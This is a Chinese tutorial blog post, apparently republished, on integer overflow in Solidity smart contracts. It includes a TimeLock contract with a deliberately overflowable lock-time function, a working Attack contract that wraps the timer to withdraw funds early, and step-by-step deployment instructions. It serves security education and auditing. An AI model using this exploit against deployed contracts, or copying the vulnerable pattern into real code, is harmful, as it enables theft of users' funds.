阅读 212

智能合约审计-整数溢出

智能合约审计-整数溢出

简介#

其实就是数值超过了最大值,引起溢出,接着从0开始计算
有张图特别好
image

基础#

uint也就是uint256的缩写,最大值为2**256-1
uint8 -> 2**8-1,其余的以此类推

超过最大值 1 -> 0超过最大值 2 -> 1超过最大值 3 -> 2以此类推

image
然后溢出也分为

  1. 加法溢出

  2. 减法溢出

  3. 乘法溢出

复现#

打断了,玩了俩星期 一点技术没学,不知道原来咋写的,我就直接复现分析吧
靠.. 重装了系统 代码也都没了

pragma solidity ^0.6.0;

contract TimeLock{
    mapping(address=>uint) public balances;
    mapping(address=>uint) public localTime;    function deposit() public payable{
        balances[msg.sender] += msg.value;  // 增加余额
        localTime[msg.sender] = now + 1 weeks;  // 增加时间一周后 
    }    
    function increaseLockTime(uint _secondsToIncrease) public{
        localTime[msg.sender] += _secondsToIncrease;    // 增加时间 溢出漏洞触发处
    }    
    function withdraw() public{        require(balances[msg.sender] > 0);   // 判断有没有钱
        require(now > localTime[msg.sender]);    // 判断是否可以提钱
        uint amount = balances[msg.sender]; // 获取余额
        balances[msg.sender] = 0;   // 余额归0
        (bool sent, ) = msg.sender.call{value:amount}("");  // 转出去
        require(sent);
    }
}

contract Attack{
    TimeLock t1;    constructor(TimeLock _timelock) public{     // 部署攻击合约时,需要把TimeLock的地址送进来
        t1 = _timelock;
    }    
    function sned() public payable{
        t1.deposit{value:msg.value}();  // 发送余额
    }    
    function attack() public payable{
        t1.increaseLockTime(
            uint(-t1.localTime(address(this)))      // 获取时间戳 再减去 就溢出了
            );
    }    
    function test() public{
        t1.withdraw();  // 
    }
    
    fallback() external payable{}
}

哎呀呀 有点麻烦 放视频
https://youtu.be/1W6KzPxQKGw
也就是

  1. 先部署TimeLock合约

  2. 然后部署Attack合约, 带上刚才部署合约的地址

  3. 然后调用Attack合约的send函数,进行转账,别忘了带上转的钱数

  4. 调用TimeLock合约的balances函数,查询Attack地址的余额

  5. 然后调用Attack合约的test函数,其实就是尝试withdraw函数看看能否转账成功,然后是异常的

  6. 调用Attack合约的attack函数,然后溢出提款限制时间

  7. 接着调用Attack合约的test函数,可以看出调用成功

  8. 查询余额,调用TimeLock合约的balances函数,查询Attack地址的余额,可以发现已经变成0

作者:Muxueo

出处:https://www.cnblogs.com/secxue/p/14753607.html

服务器评测 http://www.cncsto.com/ 

服务器测评 http://www.cncsto.com/ 


文章分类
后端
文章标签
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐